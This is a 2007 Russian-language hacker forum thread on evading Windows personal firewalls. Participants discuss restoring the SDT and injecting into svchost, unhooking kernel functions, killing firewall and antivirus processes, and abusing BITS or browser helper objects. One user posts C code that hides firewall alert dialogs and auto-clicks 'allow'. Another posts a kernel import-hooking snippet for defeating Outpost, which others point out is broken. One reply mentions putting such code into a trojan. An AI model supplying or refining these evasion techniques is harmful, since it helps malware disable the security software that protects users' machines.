Методы обхода фаерволов

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by razzzar, 30 Jun 2007.

  1. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    Меня интересует какие есть методы их обхода.

    После долгого времени гуглирования и просмотра васма я понял такое:
    1. если делать обход через инжект - надо восстанавливать таблицу Sdt
    2. если просто создавать соединения, надо снимать хуки с ядерных функций, которые поставил фаервол

    мои рассуждения верны?

    как восстановить Sdt я более-менее нашел инфу и исходники. сижу разбираюсь. а вот как снять хуки не совсем понял. Sdt - это ж таблица адрессов функций ядра, так? если ее восстановить, то сразу же снимуться и хуки?

    P.s.: извините, если вопрос нелепый, я новичек в этой сфере кодинга :)
     
    1 person likes this.
  2. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Да.

    Чистим sdt - инжект не палится, инжектируемся в проц, которому есть доступ в инет(svchost) и там уже создавай любое соединение.
     
  3. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    это я уже сделать могу.

    а есть методы, чтобы без инжекта?
     
  4. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    80 порт может вроде любая прога юзать(если я не ошибаюсь.).
    Или искать окно фаера и нажимать там кнопку "Разрешить".

    Но инжектом мы убиваем сразу 2 зайцев: невидимость в диспечере задач + обход фаеров.
     
  5. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    80 порт может юзать только та прога, которой это можно ;) у него нету оособого статуса.

    искать окно и нажимать на кнопку - это не то :)

    инжект и так будет, но дело в том, что даже тому же svchost.exe не разрешено ко всем портам доступ на исходящие. а те которым разрешено по умолчанию, я юзать не могу (
     
  6. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Создаём поток, который будет каждые 7сек. будет убивать процессы фаеров/антивирусов.))))))))
     
  7. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Смотря какой файер, если оутпост то ето пипец, хотя под его я где то видел сплойт или что то в роде того.
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Я както пытался делать вот такую вешь:
    Запускать осла делать ему невидимое окно. После этого управлять этим окном.
    Типа передача строки. потом скачевание и сохранение файла.
    Но облом в том что фаер может начать возмущаться что типа запускается скрытый процес.
     
    1 person likes this.
  9. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    Hа невидимое окно многие фаеры ругаются =) Да и запуск ИЕ, левой прогой, тоже
    не айс, попробуй переместить окно за экран.

    Самый лучший в этом отношении ZoneAlarm, я не нашёл ещё более-менее простой
    способ его обхода =\ может конечно плохо искал...
     
  10. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Самый действенный способ - ставь свой драйвер уровня ядра. который быдет сидеть сразу над сетевым драйвером. И тогда хрен кто пропалит.
    Но его хрен напишишь
     
  11. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    эмм.. на днях кой чего накидал... мб кому пригодится...
    уровень кодинга у меня неважный.. но вообщем зацените...


    Code:
    #include <windows.h>
    #include <conio.h>
    
    DWORD WINAPI ThreadFunc(LPVOID lpParam)
    {
    while(10)
    {
    HWND opf;
    HWND wbm;
    
    wbm=FindWindow("#32770",0);
    ShowWindow(wbm,SW_HIDE);
    SendMessage(wbm,WM_COMMAND,BN_CLICKED|104,0);
    
    opf=FindWindow("#32770",0);
    ShowWindow(opf,SW_HIDE);
    CheckDlgButton(opf,1007,0);
    CheckDlgButton(opf,1006,1);
    SendMessage(opf,WM_COMMAND,BN_CLICKED|1055,0);
    opf=FindWindowEx(opf,0,0,"OK");
    SendMessage(opf,BM_CLICK,0,0);
    
    }
    return 0;
    }
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
    {
    DWORD dwThreadId, dwThrdParam = 1;
    HANDLE hThread;
    hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId);
    if (hThread != NULL)
    {
    _getch();
    CloseHandle( hThread );
    }
    
    sleep(10);
    return 1;
    } 
     
    1 person likes this.
  12. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru

    Code:
    
    static
    void HookImport(
    IN PVOID Image,
    IN PVOID Handler,
    IN PVOID NewHandler
    )
    {
    PIMAGE_DOS_HEADER dHeader = Image;
    PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
    ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    
    if (ImpRVA)
    {
    PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);
    
    while (ImpDesc->Name)
    {
    PIMAGE_THUNK_DATA Import;
    
    Import = RVATOVA(Image, ImpDesc->FirstThunk);
    
    while (Import->AddressOfData) 
    {
    PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);
    
    if (Import->Function == (ULONG)Handler) 
    {
    Import->Function = (ULONG)NewHandler; 
    }
    
    Import++; 
    }
    
    ImpDesc++;
    }
    }
    }
    
    static
    PEPROCESS
    NewIoGetCurrentProcess()
    {
    PEPROCESS Process = IoGetCurrentProcess();
    
    if (Process == UserProcess) Process = PsInitialSystemProcess;
    
    return Process; 
    }
    
    
    
    void InitFwb(void)
    {
    PVOID Image = GetModuleHandle("filtnt.sys");
    ]extern P
    if (Image)
    {
    HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
    }
    }
     
    1 person likes this.
  13. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    2Кузьмич, этот код ставит свои хуки на уровне ядра?
     
  14. inSa(Ne)rd

    inSa(Ne)rd В Стране Чудес

    Joined:
    14 Mar 2005
    Messages:
    240
    Likes Received:
    1,370
    Reputations:
    168
    razzzar, а что, можно так сделать в user-mode, да?

    что за ебанутый код
    GetModuleHandleA никогда не будет работать в kernel mode
     
    7 people like this.
  15. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Ky3bMu4 лол=) Кернел моде :)) А че там делает GetModuleHandle? )

    slider, боян)
     
    1 person likes this.
  16. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    _Great_
    Есль чесн я боялся что ты на сам код ругаться будешь....
    p.s но так... работает же! ))
     
  17. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    забыли упомянуть самый простой вариант - реализация своего Tcp/ip стека ;)
    также можете юзать Bits, примеров хватает
     
    1 person likes this.
  18. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    у меня тут вопрос один созрел:
    чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
    1. найти адресс ядерных функций, которые перехватывает фаервол
    2. найти адресса оригиналов
    3. снять хуки
    ?

    или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
     
    1 person likes this.
  19. Namelles One

    Namelles One Elder - Старейшина

    Joined:
    8 Jul 2005
    Messages:
    43
    Likes Received:
    14
    Reputations:
    19
    Дурдом какой-то.
    В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?

    З.Ы. А вообще, ИМХО, на данный момент - Bits это самое перспективное. Тестили мы его - никто вааще пока походу не ловит.
     
  20. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    советую учить делфи. пока ситуация ещё под контролем

    аналогично

    Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват, хуки на устройства tcp,udp, перехват в usermode всевозможных dns-резольвов, и ещё кучи всего, подгружая dll к вашему процессу, ещё хуки на ядерные ф-ии, на запуск специфичного кода (например, на ZwOpenSection и ZwLoadDriver), что не даст вам даже поставить драйвер или выполнить код в kernel mode через колгейт, ещё они могут детектить всевозможные записи в реестр, даже использовать ipfw, и ещё кучу кучу всего, причем часто - взаимозапутаные)
    если вы думаете что разработчики фаерволов полные лохи, которые не знают как их фаервол потом можно будет обойти - вы очень, очень очень глубоко ошибаетесь

    так что товарищи, интерисующиеся, если ли в ядре ф-ия connect() и можно ли "снять хук в ядре с функции connect()" и тому подобными вопросами - просто знайте что всё намно-ооооо-го сложнее.

    мне как-то посденее время все заморочки с драйверами не особо нравятся. есть способы нормальные. все они основаны в основном на COM который я очень нелюблю.
    можно просто заставить IE слать что надо через использование BHO. (для Great : именно H вторая буква а не D!)) Если IE запрещен - тогда хули, неповезло.

    что у тебя там работает) может на твоем настроеном аутпосте какой-то там версии это и работает. но если надо это запихнуть в троян - ещё придется просить юзера поставить аутпост определенного языка, настроить режим "обучающий", и вообще попросить сделать так чтоб вылазало именно то окошко, в котором кнопочки нажимаем
     
    #20 KEZ, 3 Jul 2007
    Last edited: 3 Jul 2007